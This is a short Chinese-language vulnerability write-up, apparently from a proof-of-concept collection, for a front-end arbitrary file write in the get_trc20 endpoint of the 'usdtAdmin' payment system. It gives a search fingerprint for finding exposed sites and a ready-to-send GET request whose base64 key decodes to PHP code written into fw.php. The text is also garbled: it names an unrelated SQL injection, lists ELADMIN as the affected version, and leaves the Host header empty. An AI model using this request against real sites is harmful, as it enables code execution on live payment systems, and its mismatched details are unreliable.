usdtAdmin收款管理系统get_trc20存在前台任意文件写入漏洞
一、漏洞简介
usdtAdmin收款管理系统于ThinkPHP6，专注于以太坊与稳定币后台管理系统开发，超过100万个网站使用usdtAdmin建站系统进行收款对接。我们的服务包括：区块链钱包开发、游戏支付、NFT游戏、政府网站建设，usdtAdmin网站系统本着以客户为本、务实创新的理念，助力广大中小公司企业网络营销推广，实现多方共赢。usdtAdmin收款管理系统send存在SQL注入漏洞
二、影响版本
- ELADMIN
三、资产测绘
"/usdtmerchant/login/reg.html"
四、漏洞复现
GET /index/index/get_trc20?key=MTI8P3BocCBwaHBpbmZvKCk7Pz4=&name=fw HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Cookie: PHPSESSID=60bb4cc1be5320f384ba89f6f7f0b3d9
Host:
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"/fw.php